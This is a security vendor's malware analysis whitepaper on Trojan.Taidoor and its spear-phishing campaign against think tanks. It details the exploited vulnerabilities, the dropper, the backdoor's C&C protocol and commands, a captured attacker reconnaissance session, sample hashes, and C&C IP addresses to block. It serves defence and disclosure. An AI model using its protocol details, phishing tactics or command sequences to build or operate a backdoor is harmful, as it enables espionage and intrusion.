the +U.S. and other countries. Other names may be trademarks of +their respective owners. +Security Response +Trojan.Taidoor: +Targeting Think Tanks +Stephen Doherty +and Piotr Krysiuk +Contents +Executive summary............................................ 1 +Introduction........................................................ 1 +Technical details................................................. 3 +The email....................................................... 3 +The attachment............................................. 6 +The dropper................................................... 7 +The payload................................................... 8 +Command-and-Control server...................... 8 +Variants....................................................... 11 +Patterns of activity...................................... 12 +Attacker profile........................................... 12 +Conclusion........................................................ 12 +Symantec protection........................................ 13 +Appendix........................................................... 14 +Sample files................................................. 14 +Recommendations...................................... 15 +Executive summary +Trojan.Taidoor has been consistently used in targeted attacks during the last three years. Since May 2011, there has been a substantial increase in its activity. Taidoor +s current targets are primarily private industry and influential international think tanks +with a direct involvement in US and Taiwanese affairs. Facilities +in the services sector that these organizations may use have also +been targeted. There are a number of additional ancillary targets. +Trojan.Taidoor dates back to March 2008 and in-field telemetry has identified Taidoor being used in targeted attack emails +since May 2009. Fourteen distinct versions and three separate families of the Trojan have been identified to date. The +threat continues to evolve to suit the attackers + requirements. +Introduction +During 2009, and the majority of 2010, government organizations +and a range of private companies were targeted by the Taidoor attackers. However around the beginning of 2011, the attackers + focus shifted dramatically, with international think tanks, the manufacturing industry, and defense contractors who have interests in +Taiwan consistently being targeted. The chart below illustrates the +volumes and the industries targeted using Taidoor over the last +three years. The shift in targets is clearly portrayed in figure 1. +Security Response +Trojan.Taidoor: Targeting Think Tanks +Figure 1 +Targeted Taidoor attacks per industry 2009-2011 +In 2011 the US had been involved in a variety of discussions with Taiwan, the most public of which was in relation +to the upgrade of the Taiwanese Air Force. Around the same time Taidoor started to almost exclusively target individuals from influential think tanks, specifically those who have expertise in South Asian and South-East Asian +policy and military strategy. Although these are Figure 2 +not the first attacks on think tanks, the persisIncrease of Trojan.Taidoor targeted attack emails +tence and sheer volume of the Taidoor attacks +has made them more notable. A timeline of +the attacks highlights the increased volume of +targeted Taidoor emails sent between May and +October 2011, including their peak during the +US-Taiwan Defense Industry Conference that +was held September 18-20, 2011, as shown in +figure 2. +While Taidoor +s targets have changed over the +years, the attack methodology has remained +consistent. Currently the only known attack +vector for Taidoor is through targeted emails. +The email attachments exploit a variety of +Page 2 +Trojan.Taidoor: Targeting Think Tanks +Security Response +vulnerabilities, yet the payload Trojan itself has seen little change in terms of functionality. Taidoor is limited to +using publicly disclosed vulnerabilities; no zero-day exploits have been seen in use. This separates Taidoor from +more recent high-profile attacks +such as those involving Duqu or the recent attacks on RSA +where the attacks are highly sophisticated and exploit zero-day vulnerabilities. The Taidoor group appears to play a numbers +game when it comes to breaching networks, relying on targeting users running out-of-date, unpatched versions +of software for the attacks. As one particular campaign gathered momentum, the attackers resorted to sending +broad and repeated barrages of emails to large groups of individuals at the target organizations in an attempt to +compromise the network. +The rest of the document will discuss these attacks in more detail, beginning with a breakdown of the typical +stages of a Taidoor attack. Starting with crafting the targeted email, the focus will then move to the attachment +and its components: the Taidoor dropper containing the true payload +an embedded, encrypted back door +Trojan offering remote access to the attacker on the compromised computer. Detailed analysis of the commandand-control (C&C) functionality will be revealed, including the observation of hacked third-party servers as part +of its infrastructure to forward communications to the attackers. During the analysis some live interactive sessions were captured revealing interaction with a human attacker, and his or her intentions once on the box. One +of these interactive sessions is presented. The final section provides attributes that may point to the profile of +the attackers. +Taidoor is not going away. It +s persistent, it +s constantly evolving, and the adaptability of the attackers will ensure that it remains a danger to any organization that falls within its scope. +Technical details +The email +This is the breach component of Taidoor, which is +pivotal to the attack. Taidoor emails are created +with varying degrees of sophistication and are +typically employed in a two-pronged attack. +Figure 3 +Mail server country of origin for Taidoor emails +The vast majority of emails used in these recent +attacks are sent from mail servers based in Taiwan and the US, as shown in figure 3. The country of origin will change depending on the targets +of the attack. For example the mails from France +contained subject matter related to the G20 summit in Paris, while those coming from Turkey were +directed at targets with Turkish email addresses. +Crafting the email +To begin with, the main target of interest is +identified. The content of the email is specifically +crafted in order to entice the chosen target into +opening it. The email is then either sent solely to +the target of interest or the target of interest plus +a group of other personnel working at the same +organization. This second strategy is popular with +more recent Taidoor attacks, as it would prove +useful in situations where compromising the main +target is proving difficult. Compromising a lowervalue target still provides a foothold within the +organization from where the attacker can then +attempt to move towards the true target. +Page 3 +Security Response +Trojan.Taidoor: Targeting Think Tanks +There are two types of content typically found in Taidoor emails. The first type is simple, requiring little-or-no +background research on the target. The content is general, typically including a catchy Subject line, a funny image, a brief message, or a topical subject that may entice the user into opening the malicious attachment, such +as that displayed in figure 4. +Figure 4 +A generic Taidoor email +The second type requires some background research on the intended target. Far more preparation is required, +as the email will need to contain content relevant to the target. The subject line, the message body and the attached document will all contain information that might entice them into reading what is inside the attachment. +The content is typically related to policy or events that the target would be interested in or would likely attend. +The sender +s email address will also be doctored so that it appears to have come from a reputable source; someone they would probably recognize by name. This would likely be a co-worker, a speaker at an upcoming event, or +a prominent individual in their chosen field. +Page 4 +Security Response +Trojan.Taidoor: Targeting Think Tanks +Here is an example of a targeted attack that took place on October 24, 2011. Over the course of the day, targeted +mails were sent to 25 individuals working at three separate organizations. The same malicious file was attached +to all the emails; however, the subject line and the message content differed. Examining the malicious attachment we could see it was identical for each email. Here are the four subject lines used in these emails, followed +by an example email: + Fwd: Panetta criticizes North Korea for reckless acts + Panetta criticizes North for reckless acts + Returned mail: see transcript for details + Warning: could not send message for past 4 hours +Figure 5 +An targeted Taidoor email +Out of the 25 emails, 22 were sent through a Taiwanese mail server. They targeted individuals working at an +influential international think tank located in the US and were sent in quick succession. Later that day two more +emails containing an identical attachment were sent through a mail server located in the US. However this time +the emails targeted three prominent figures working at three separate organizations: one located in the US (the +think tank that was targeted in the earlier batch of emails) and two others in Germany. These three targets are +subject experts on military strategy and policy in South-East Asia. This tactic is typical of Taidoor, as mentioned +earlier, where one of these targets appears to be the +real + target of interest and the rest appear to be of lesser +interest, but could offer up useful information or be used as a stepping stone toward the true target. +Page 5 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Determining who the targets of interest are is +straightforward when examining the frequency +of targeted emails sent to individuals. As an +example, a target of interest at one of these +organizations is referred to as +Mr. X +Figure 6 +Emails targeting +Mr. X + (2011) +Mr. X was sent up to 23 targeted Taidoor +emails in June 2011 +a substantial increase +from previous months. This individual was +consistently targeted for over nine months +far the most targeted individual. Such focus +demonstrates the persistence of the Taidoor +attackers. The repeated attempts indicate that +this target has been extremely difficult to compromise and is considered of high value. +The attachment +The sample email above contained a malicious PDF attachment; however, Taidoor +doesn +t confine itself to PDFs. Taidoor has +been used in a wide variety of attachments, +including malicious Microsoft PowerPoint, +Word (.doc and .rtf file formats), and Excel +files. Malicious executables and even DLLs +(BID 47741) have been used as part of +recent attacks. In these cases the malicious +file is typically contained within an archive. +In more recent attacks Word documents +and PDFs have been the most popular attack vectors. However the malicious attachments constantly change, with new exploits +appearing regularly. +Figure 7 +Popularity of attachment type +(.dll, .scr, and .exe files are typically contained within archive files) +The malicious attachments have used a +large set of vulnerabilities over the years, +covering all main document formats. This +clearly indicates that this group has both +the focus and the intent to keep these +exploits relevant and up-to-date. The group +is clearly not afraid to try out new exploits. +The number utilized is remarkable. + Microsoft PowerPoint Malformed Record Remote Code Execution Vulnerability (BID 18382) + Microsoft Word Malformed Data Structures Code Execution Vulnerability (BID 21518) + Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities (BID 27641) + Microsoft PowerPoint Sound Data (CVE-2009-1129) Remote Code Execution Vulnerability (BID 34839) + Adobe Reader and Acrobat +newplayer() + JavaScript Method Remote Code Execution Vulnerability (BID 37331) + Microsoft Excel +FEATHEADER + Record Remote Code Execution Vulnerability (BID 36945) + Adobe Flash Player CVE-2011-0611 + File Remote Memory Corruption Vulnerability (BID 47314) + Multiple Microsoft Products DLL Loading Arbitrary Code Execution Vulnerability (BID 47741) + Adobe Acrobat and Reader CVE-2011-2100 DLL Loading Arbitrary Code Execution Vulnerability (BID 48252) +It is worth noting again that none of the vulnerabilities used by Taidoor are zero-day exploits. Taidoor simply +leverages publicly disclosed security bugs in popular applications and therefore relies on the target or targets to +be running unpatched software. +Page 6 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Figure 8 shows the email attachment +types chosen by attackers in 2011. +We can see a marked increase in the +use of vulnerable Word documents in +the run-up to the US-Taiwan Defense +Industry Conference in September +2011. The group probably found +more success with the Word exploit +for this period of the campaign. +However they switch to older vulnerabilities if the new ones are proving +less successful, which was the case +for BID 47741. +Figure 8 +Breakdown of malicious attachment types for 2011 +(.dll, .scr, and .exe files are typically contained within archive files) +The goal of the email is to entice the +recipient into opening the malicious +attachment. The goal of the attachment is to surreptitiously copy the +embedded Trojan onto +Figure 9 +the user +s computer and +Taidoor PDF attachment +launch it without drawing +attention to the fact that +the user has just been +compromised. +Taking the attachment +in the previous targeted +email, let +s examine what +happens if the malicious +document is opened. +The PDF is exploiting BID +47314, a vulnerability +in Adobe Reader that +leads to code execution +of the attacker +s choosing. This code decrypts, +extracts, and executes +the embedded Taidoor +dropper. It also extracts +and presents the clean +PDF in figure 9, so as not +to alarm the user to any +unusual behavior. +The content in the PDF was scraped from an Associated Press article that started to appear on most major news +feeds the very day the email was sent: October 24, 2011. +The dropper +Once the user has opened the malicious attachment the infection process is set into motion. Once the dropper +is created in the file system, it is executed. It starts one of the following legitimate processes, after which it will +replace this clean, in-memory image with the malicious back door component: + services.exe + svchost.exe +Page 7 +Trojan.Taidoor: Targeting Think Tanks +Security Response +The back door component is normally present in the form of either an encrypted resource entry or as an encrypted binary array within the code section of the dropper. Figure 10 helps illustrate the layout of each file and the +steps taken once the malicious attachment is launched. +Figure 10 +Taidoor file layout +services.exe / svchost.exe +PDF Exploiting +BID 47314 +Back door +Taidoor +dropper +Encrypted +Taidoor +Decrypts +Injects +Encrypted +back door +component +Encrypted +servers +Clean +The payload +The final payload is now in place. This is the back door component that communicates with the C&C server. The +back door stores configuration information in the +.data + section which is setup by the attackers. This configuration information contains up to three C&C servers, up to three ports per server, and a default sleep interval. +Once the back door is successfully installed on the system it will attempt to communicate with the C&C server +using the HTTP protocol. Let us examine this in more detail. +Command-and-Control server +Protocol +Trojan.Taidoor communicates with the controlling server using the HTTP protocol with requests using the following format and detailed in table 1: +http://[C&C _ SERVER]:[PORT]/[RANDOM].php?id=[RAND][ID][OPTIONAL] +Table 1 +HTTP communication format +Variable +Description +[C&C_SERVER] +Up to three configurable C&C servers +[PORT] +Up to three configurable ports +[RANDOM_PATH] +Five random, lower-case letters. Recreated every time Taidoor initializes or fails to contact its configured servers. +[RAND] +Six-decimal, random number recreated for each request. The values are between 0-32767 (limited by RAND_MAX). +[ID] +Twelve characters derived from MAC address of the compromised computer. +[OPTIONAL] +Is "&ext=[FILENAME]", which may be present in requests, related to specific commands. +Page 8 +Trojan.Taidoor: Targeting Think Tanks +Security Response +When the message body is present in a request or response, it is encrypted using RC4. The RC4 key is simply a +string representation of the compromised computer +s adapter address (e.g. 01-27-89-AB-CD-EF). This means +that the C&C server must be able to compute the RC4 key from the [ID] present in the HTTP request. Because +such an [ID] is unique for each computer it could also be used by the controlling server for tracking purposes. +Trojan.Taidoor uses an algorithm when generating the ID field. First it obtains a string representation of the +adapter address. A default value of +01-01-01-01-01-01 + is used if it fails to obtain the adapter address. It strips +the + characters from the string and then increments the value of each character. If it encounters + this value +will be set to +. For example +01-27-89-AB-CD-EF + would convert to +123890BCDEFG +Trojan.Taidoor periodically queries the C&C server for commands by sending GET requests with an empty message body. This period is configurable by the attacker and is stored, along with the C&C information, in the +data section. Values for this sleep interval has been seen as low as two and as high as 600 seconds. The server +responds with RC4-encrypted commands in the message body. The first byte of decrypted message body is the +command ID, followed by an optional parameter. Table 2 details the commands available to the attacker. +Table 2 +Taidoor C&C commands +ID* Format Command +Details +DWORD +Set Delay +Period in milliseconds for the sleep time in between requests. +STRING +Execute +Command +Command to be executed. The generated output is collected in a temporary file and +sent in a separate POST request. The POST request does not contain any indication +about the corresponding command.** +STRING +Download and Execute +The URL location to download a file, which is saved to the %Temp% folder and executed. +STRING +Download File +Path of the file to be created. The content of the file is downloaded using a separate +GET request with [OPTIONAL] set to "&ext=[BASE64_ENCODED_FILENAME]" +STRING +Upload File +Parameter is the path of the file to be uploaded. Content of the file is uploaded using +separate POST request with [OPTIONAL] set to "&ext=[BASE64_ENCODED_FILENAME]" +*All other commands are IDs treated as pings. +**A strong indicator this back door is designed for human operators. +Live interactive session +Our honeypots were able to capture some live, interactive sessions of the attackers in action. Table 3 presents +logs of the activities of an attacker during one of these sessions on September 16, 2011. This is the first 60 seconds of the attacker in action, logged from 02:23:06 UTC. +Table 3 +Example of attacker activities through back door +Timeline +Commands Received +2011-09-16 02:23:06 UTC: RECV +[Ping] +2011-09-16 02:23:15 UTC: RECV +[Set sleep interval to 1 second] +2011-09-16 02:23:23 UTC: RECV +cmd /c net start +2011-09-16 02:23:31 UTC: RECV +cmd /c dir c:\docume~1\ +2011-09-16 02:23:52 UTC: RECV +cmd /c dir +c:\docume~1\\recent + /od +2011-09-16 02:24:00 UTC: RECV +cmd /c dir c:\progra~1\ +2011-09-16 02:24:12 UTC: RECV +cmd /c dir +c:\docume~1\\desktop + /od +2011-09-16 02:24:25 UTC: RECV +cmd /c netstat +2011-09-16 02:24:32 UTC: RECV +cmd /c net use +Page 9 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Before the attacker starts an interactive command shell, Taidoor is instructed to reduce the sleep interval to one +second. This improves Trojan.Taidoor +s response time to subsequent commands sent by the attacker. Over the +next 60 seconds the attacker will look for the following information about the compromised host: + Currently running services. + Contents of the +Documents and Settings + folder: What users are on the system? + Contents of the +Recently Used Documents + item. + Contents of the +Program Files + folder: What software is installed? + Contents of the Desktop. + A list of the currently open TCP/IP connections. + A list of available network connections. +The attacker initially searches for documents and users of interest on the compromised computer. If the user is not a +target of interest, the attacker can search +for other computers of higher value on the +network using the shell or by downloading +additional tools on to the compromised +computer in order to assist in traversing +the network. It is worth noting that this is +not automated, but that an actual attacker +sitting at the other end, typing these commands. +Figure 11 +C&C servers by country +Hacked third-party servers +Some basic reconnaissance was done on +the C&C servers used by Trojan.Taidoor. +Many of the Taidoor C&C servers probed +appeared to be compromised third-party +servers, as opposed to leased servers +commonly used as part of a C&C infrastructure. The servers are probably used +in an effort to hide the true location of +the attacker and they simply forward the +malicious communication to another location. The highest concentrations of Trojan. +Taidoor C&C servers are in the US and +Taiwan, as shown in figure 11. +Figure 12 +Previously hacked C&C server, as shown in a +publicly accessible website +Simple fingerprinting on these computers +revealed that they were consistently running a number of services. It is probable +that such services were vulnerable to basic +attacks, as several of the C&C servers had +been compromised by third-party hackers +prior to their use by the Taidoor attackers. The screenshot in figure 12 is from a +cached Web page defacement of one particular server. Such defacements are typically performed by attackers with limited +skill sets. This implies that the services on +the computer were trivial to compromise +or that it was poorly maintained, with little +or no patching. +Page 10 +Security Response +Trojan.Taidoor: Targeting Think Tanks +Variants +To date we have seen at least 14 different variants of Trojan.Taidoor. The earliest compilation date is March 11, +2008. Trojan.Taidoor doesn +t track version information itself. However, examining modifications to the compiled +code section of the back door component over time allows for version tracking. Most of the distinct PE images +share identical code sections, and only the details of the C&C servers in the data section differ between attacks. +Some versions have seen extensive use, while others have been seen far less frequently, and for very brief periods of time. Figure 13 tracks the modifications over time. +Figure 13 +Taidoor versioning 2008-2011, based on PE code section similarity +This chart shows the date and timestamp of the compiled files with the identified version of the back door. +Version 1 was used on March 11, 2008 and version 13 was used from March 16, 2011 up until August 13, 2011. +There is very little overlap in use of the back doors between versions. This indicates that a single entity is responsible for development. If the source code of the threat was shared amongst multiple entities, there would be +a much larger number of versions, +Figure 14 +and their use would overlap more. +Taidoor version distribution in emails (2010-2011) +Several variants were used for an +extended period of time, the most +widely being version 13 +the version used to target think tanks. +The chart in figure 14 compares +the date of emails, instead of +compile time, with the back door +version. There is some degree +of overlap, but the majority of +usage is again distinct between +versions. This reinforces the assumption that a single entity is in +control of the source code. +Page 11 +Security Response +Trojan.Taidoor: Targeting Think Tanks +Patterns of activity +Some interesting patterns of behavior were observed during the interactive sessions with the C&C servers. For +most of the day the servers would issue a connection reset or return an HTTP 404 (Not Found) message. These +servers then +woke up + for certain periods of the day. These times typically occurred between 1:00 and 8:00 +UTC. This was the case for the majority of successful C&C interactions logged, indicating some regular pattern of +activity for these attackers. +Attacker profile +Attributing the Taidoor attacks to a particular party is not likely, but there are a number of factors in the Trojan. +Taidoor attacks that may offer an indication as to the source of the threat. +Taidoor has been maintained with new versions and new exploits relatively consistently from 2008, up to the end +of 2011. Such consistency is possible for an individual working full-time. However, the additional work required +to maintain the infrastructure behind Taidoor +hacking C&C servers, investigating targets in order to tailor +attacks, and then actually spreading within a network once it is compromised +is beyond the capabilities of an +individual. A number of people are clearly involved. This is likely an organized group of individuals who have a +broad range of skills and a reasonable level of hacking ability, given the number of compromised C&C servers. It +is quite possible that individuals within the group are given particular roles for each stage of the operation, since +this work would divide up easily. +However, although the group is active and must consist of several people, their resources are limited. No zeroday exploits have been found associated with Taidoor; only previously published ones. The group does not have +the skills to develop a zero-day, nor the funds to obtain them. The C&C servers are hacked, not purchased. +Although hacking of the C&C servers does offer a level of anonymity, it is also an unreliable method of control. +The hacked C&C servers may be discovered by the owner of the comproTable 4 +mised computer and shut down at any time. As such, it is unlikely that +Time zones +the group has access to substantial funds. +The times of operation of the attackers may be an indicator as to their +location. As described earlier, interactions with the C&C servers occurred primarily between 1:00 and 8:00 UTC. Table 4 shows these times +for various countries around the world. +In addition, the group can write competent emails in both English and +Traditional Chinese. +Region +Local Time +Japan +10:00am +5:00pm +Taiwan +9:00am +4:00pm +China (Beijing) +9:00am +4:00pm +India +6:30am +1:30pm +Russia (Moscow) +5:00am +12:00pm +1:00am +8:00am +The motivations of the group are difficult to determine. Clearly there +US (Eastern) +8:00pm +3:00am +was a major shift in the group in 2011, judging from the change in tarUS (Pacific) +5:00pm +12:00pm +gets. Initially starting with a wide range of disparate targets, the group +began to focus almost exclusively on one particular type of target +policy think tanks +and in relation to one particular topic: US-Taiwanese dealings. The nature of the topic is +something that would be of most interest to parties involved in the discussions, parties who may be affected by +the discussions such as private industry looking for a competitive advantage or nation states, or possibly hackers +looking to expose confidential information on such discussions for ideology or fame. +Conclusion +Trojan.Taidoor +s attack methodology follows a consistent pattern associated with targeted attacks: a crafted +email with a malicious attachment. It +s clear that this group is highly motivated and persistent, which is evident from the longevity of the Taidoor campaign and the variation in targeted organizations. These attacks are +ongoing, so we will continue to provide Symantec customers with cutting-edge solutions to protect themselves +against both current and future Taidoor attacks. +Page 12 +Security Response +Trojan.Taidoor: Targeting Think Tanks +Symantec protection +Many different Symantec protection technologies play a role in defending against this threat, including: +File-based protection (traditional antivirus) +Traditional antivirus protection is designed to detect and block malicious files and is effective against files associated with this attack. + Trojan.Taidoor + Trojan Horse + Trojan.Pidief +Network-based protection (IPS) +Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts. Symantec Critical System Protection and Symantec +Web Gateway can block access to the C&C servers. +Behavior-based protection +Symantec products, like Symantec Endpoint Protection, with behavior-based detection technology can detect +and block previously unknown threats from executing, including those associated with this attack. Files detected +by this technology will be reported as Bloodhound.Sonar.9. +Reputation-based protection (Insight) +Symantec Download Insight, found in Symantec Endpoint Protection and Symantec Web Gateway, can proactively detect and block files associated with this attack using Symantec +s extensive file reputation database. Files +detected by this technology will be reported as WS.Reputation.1. +Email-based protection +The Skeptic heuristic engine in Symantec MessageLabs Email Security.cloud can proactively detect and block +emails that are associated with this attack. +Other protection +Application and Device Control + Symantec Endpoint Protection users can enable this feature to detect and +block potentially malicious files from executing. +Symantec Critical System Protection can also prevent unauthorized applications from running. +IT Management Suite provides comprehensive software and patch management. Critical System Protection can +protect servers against vulnerabilities between patching cycles. +Page 13 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Appendix +Sample files +The following files are a representative sample of those used in the Taidoor attacks. +Table 5 +Sample MD5s +Type +Target Region Date +50c3de93fc5ee424b22c85c5132febe9 +18/05/2011 +d6a23c475907336d5bf0f11111e62d44 +17/05/2011 +e0255a0bbd6d067bc5d844819fee4ec6 +20/06/2011 +28f7eca368fd18b0a7c321927281e387 +23/06/2011 +8e3d7fcfa89307c0d3b7951bd36b3513 +22/06/2011 +c2e05204221d08d09da1e3315b1b77a1 +24/06/2011 +e8390f9960e1acb2ca474a05fdbd1feb +24/06/2011 +02a1a396e3607a5d2f8ece9fc5d65427 +26/06/2011 +a41186ac5bef467204c721e824b550cf +27/06/2011 +46c6da9be372f64ef17205fd3649fa80 +27/06/2011 +4c874b2bf0a5ee4bdebf7933af0d66b1 +29/06/2011 +002cec5517c17ffac2e37908fcab45ff +28/06/2011 +207e770f53bf1ea6bfb8068614ad0f70 +29/06/2011 +d49024573cb0763c1b33259ddbf4dd72 +05/07/2011 +e05b832dc588b1055d64daa7dfd03eb7 +06/07/2011 +f8c670662bc2043664269671fb9a2288 +07/07/2011 +18471c628a29e602ec136c52f54f1f83 +08/08/2011 +34d333a18b5b8b75cad46601163469ce +04/08/2011 +ec8a87a00b874899839b03479b3d7c5c +10/08/2011 +c645169173c835c17abb0bde59b594bb +05/08/2011 +60d519e00f92b5d635f95f94c2afdc68 +16/08/2011 +804011277338eb3c372ae4b520124114 +21/08/2011 +b817c2335e520312d0ae78c309d73d22 +15/08/2011 +50a713a00c8468f7f033e79a97f6b584 +30/08/2011 +d642d3dde179ce5be63244c0f6534259 +31/08/2011 +8810f26133d5586477c8552356fc4439 +02/09/2011 +527a6cd21f0514ef5baa160b6e6b1482 +30/08/2011 +90ed80f18b05a52bf2801c7638b371e3 +06/09/2011 +e8291553bd947082476a123c64ac8e82 +14/09/2011 +b25c3e81cdef882f532ba78a8fdcd7ca +14/09/2011 +60a8524d36d8a5e70d853bf3212616c5 +16/09/2011 +b8c89fdc109db7522faf2180648dad2f +15/09/2011 +4859ba249a200d34189166abfd57a3dd +09/09/2011 +309ac58218250726b3588d61738d5b21 +29/09/2011 +90c88267efd63fd8e22fb0809be372bc +20/09/2011 +6491873b351b8d0deccd6e30211ce137 +14/10/2011 +2a0dcb1915c0465949e7aecfb06f47ea +18/10/2011 +08cdc6213d63ea85fbccd335579caec4 +20/10/2011 +c898abcea6eaaa3e1795322d02e95d7e +24/10/2011 +de095f05913928cf58a27f27c5bf8605 +25/10/2011 +8c57fe2c1112d2122bfd09f5f91f7154 +29/10/2011 +b4cb1b1182ea0b616ed6702a2b25fac2 +01/11/2011 +86730a9bc3ab99503322eda6115c1096 +03/11/2011 +Page 14 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Recommendations +Update antivirus definitions +Ensure that your antivirus software has up-to-date antivirus definitions and ensure that your product has the autoprotect feature enabled. You can obtain the latest definitions through LiveUpdate or download the latest definition +files from our website. +Apply patches for the following vulnerabilities +Symantec recommends that users apply patches for the following vulnerabilities to help protect against this and +similar attacks: + Microsoft PowerPoint Malformed Record Remote Code Execution Vulnerability (BID 18382) + Microsoft Word Malformed Data Structures Code Execution Vulnerability (BID 21518) + Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities (BID 27641) + Microsoft PowerPoint Sound Data (CVE-2009-1129) Remote Code Execution Vulnerability (BID 34839) + Adobe Reader and Acrobat +newplayer() + JavaScript Method Remote Code Execution Vulnerability (BID 37331 + Microsoft Excel +FEATHEADER + Record Remote Code Execution Vulnerability (BID 36945) + Adobe Flash Player CVE-2011-0611 + File Remote Memory Corruption Vulnerability (BID 47314) + Multiple Microsoft Products DLL Loading Arbitrary Code Execution Vulnerability (BID 47741) + Adobe Acrobat and Reader CVE-2011-2100 DLL Loading Arbitrary Code Execution Vulnerability (BID 48252) +Prevent back door communications +Block access to the following command-and-control server IP addresses that are associated with this attack. +Table 6 +C&C servers +Country +Registrar +110.142.12.95 +Australia +1221 +apnic +203.45.204.239 +Australia +1221 +apnic +220.245.107.203 +Australia +7545 +apnic +193.170.111.210 +Austria +1853 +ripencc +88.117.175.114 +Austria +8447 +ripencc +81.21.80.40 +Azerbaijan +39280 +ripencc +203.188.255.117 +Bangladesh +9832 +apnic +24.79.164.206 +Canada +6327 +arin +213.41.162.198 +France +13193 +ripencc +62.38.148.117 +Greece +3329 +ripencc +212.205.207.42 +Greece +6799 +ripencc +202.82.162.61 +Hong Kong +4515 +apnic +218.103.88.197 +Hong Kong +4515 +apnic +220.246.17.40 +Hong Kong +4515 +apnic +220.246.5.52 +Hong Kong +4515 +apnic +219.76.232.33 +Hong Kong +4515 +apnic +202.65.218.205 +Hong Kong +9584 +apnic +202.60.254.253 +Hong Kong +9925 +apnic +203.198.133.15 +Hong Kong +4760 +apnic +203.198.142.209 +Hong Kong +4760 +apnic +210.3.235.154 +Hong Kong +9304 +apnic +210.245.194.241 +Hong Kong +17444 +apnic +122.160.96.111 +India +24560 +apnic +Page 15 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Table 6 +C&C servers +Country +Registrar +61.12.21.84 +India +17820 +apnic +202.56.122.100 +India +10077 +apnic +203.92.33.98 +India +10029 +apnic +59.162.253.38 +India +17908 +apnic +202.155.109.228 +Indonesia +4795 +apnic +217.218.246.18 +Iran +12880 +ripencc +78.39.115.35 +Iran +12880 +ripencc +78.39.236.6 +Iran +12880 +ripencc +192.116.205.100 +Israel +5486 +ripencc +2.116.180.66 +Italy +3269 +ripencc +83.149.128.190 +Italy +31319 +ripencc +2.229.10.5 +Italy +12874 +ripencc +210.20.35.2 +Japan +9824 +apnic +202.251.249.136 +Japan +4686 +apnic +61.200.43.129 +Japan +17676 +apnic +203.179.145.2 +Japan +4716 +apnic +219.123.85.187 +Japan +17506 +apnic +61.107.131.147 +South Korea +9457 +apnic +61.107.29.111 +South Korea +9457 +apnic +211.177.131.120 +South Korea +9318 +apnic +211.47.189.41 +South Korea +38661 +apnic +203.234.132.173 +South Korea +9979 +apnic +222.101.218.86 +South Korea +4766 +apnic +61.80.90.113 +South Korea +4766 +apnic +211.169.248.159 +South Korea +3786 +apnic +211.233.62.146 +South Korea +3786 +apnic +211.233.62.147 +South Korea +3786 +apnic +211.233.62.148 +South Korea +3786 +apnic +211.234.117.132 +South Korea +3786 +apnic +211.234.117.185 +South Korea +3786 +apnic +211.254.153.122 +South Korea +3786 +apnic +218.208.203.106 +Malaysia +4788 +apnic +207.248.250.60 +Mexico +11172 +lacnic +201.158.139.83 +Mexico +14000 +lacnic +201.175.42.79 +Mexico +22908 +lacnic +201.116.58.243 +Mexico +8151 +lacnic +62.231.246.150 +Oman +28885 +ripencc +203.81.229.89 +Pakistan +38616 +apnic +200.115.173.102 +Panama +27956 +lacnic +203.215.80.180 +Philippines +6648 +apnic +212.33.79.176 +Poland +8865 +ripencc +62.89.115.229 +Poland +12968 +ripencc +80.96.120.22 +Romania +2614 +ripencc +212.76.68.141 +Saudi Arabia +41176 +ripencc +212.76.68.74 +Saudi Arabia +41176 +ripencc +212.11.189.124 +Saudi Arabia +42428 +ripencc +203.126.74.13 +Singapore +3758 +apnic +Page 16 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Table 6 +C&C servers +Country +Registrar +58.185.2.34 +Singapore +3758 +apnic +202.172.37.145 +Singapore +17547 +apnic +203.116.203.67 +Singapore +4657 +apnic +213.81.217.7 +Slovakia +6855 +ripencc +217.125.43.149 +Spain +3352 +ripencc +203.64.22.11 +Taiwan +1659 +apnic +202.39.212.245 +Taiwan +3462 +apnic +210.242.240.218 +Taiwan +3462 +apnic +211.20.65.188 +Taiwan +3462 +apnic +211.21.156.15 +Taiwan +3462 +apnic +211.22.75.68 +Taiwan +3462 +apnic +211.72.181.61 +Taiwan +3462 +apnic +211.72.191.145 +Taiwan +3462 +apnic +211.72.80.242 +Taiwan +3462 +apnic +220.130.219.242 +Taiwan +3462 +apnic +220.133.170.33 +Taiwan +3462 +apnic +59.120.16.115 +Taiwan +3462 +apnic +59.120.54.79 +Taiwan +3462 +apnic +60.248.17.81 +Taiwan +3462 +apnic +60.249.219.82 +Taiwan +3462 +apnic +60.251.220.144 +Taiwan +3462 +apnic +61.218.83.3 +Taiwan +3462 +apnic +61.220.129.45 +Taiwan +3462 +apnic +61.220.42.130 +Taiwan +3462 +apnic +61.221.152.191 +Taiwan +3462 +apnic +61.221.233.99 +Taiwan +3462 +apnic +61.222.205.180 +Taiwan +3462 +apnic +219.84.143.15 +Taiwan +18182 +apnic +219.87.26.129 +Taiwan +9924 +apnic +202.3.167.6 +Taiwan +9831 +apnic +61.19.124.116 +Thailand +9931 +apnic +61.7.150.118 +Thailand +131090 +apnic +61.7.158.11 +Thailand +131090 +apnic +58.137.157.163 +Thailand +4750 +apnic +58.137.163.166 +Thailand +4750 +apnic +202.60.203.229 +Thailand +17887 +apnic +202.183.233.66 +Thailand +10227 +apnic +113.53.236.67 +Thailand +9737 +apnic +213.42.74.85 +5384 +ripencc +64.118.87.250 +United States +32742 +arin +98.189.155.145 +United States +22773 +arin +65.115.139.158 +United States +arin +209.156.150.178 +United States +1785 +arin +12.43.95.117 +United States +7018 +arin +168.8.80.21 +United States +6389 +arin +68.195.237.234 +United States +6128 +arin +64.39.73.148 +United States +27521 +arin +Page 17 +Trojan.Taidoor: Targeting Think Tanks +Security Response +Table 6 +C&C servers +Country +Registrar +68.82.45.168 +United States +7922 +arin +65.214.70.122 +United States +13388 +arin +76.5.157.172 +United States +13787 +arin +208.40.105.162 +United States +2707 +arin +184.11.128.172 +United States +5650 +arin +65.23.153.148 +United States +22822 +arin +65.23.153.178 +United States +22822 +arin +216.139.109.156 +United States +33165 +arin +208.57.226.46 +United States +18687 +arin +209.123.166.170 +United States +8001 +arin +64.34.60.218 +United States +13768 +arin +108.77.146.124 +United States +7132 +arin 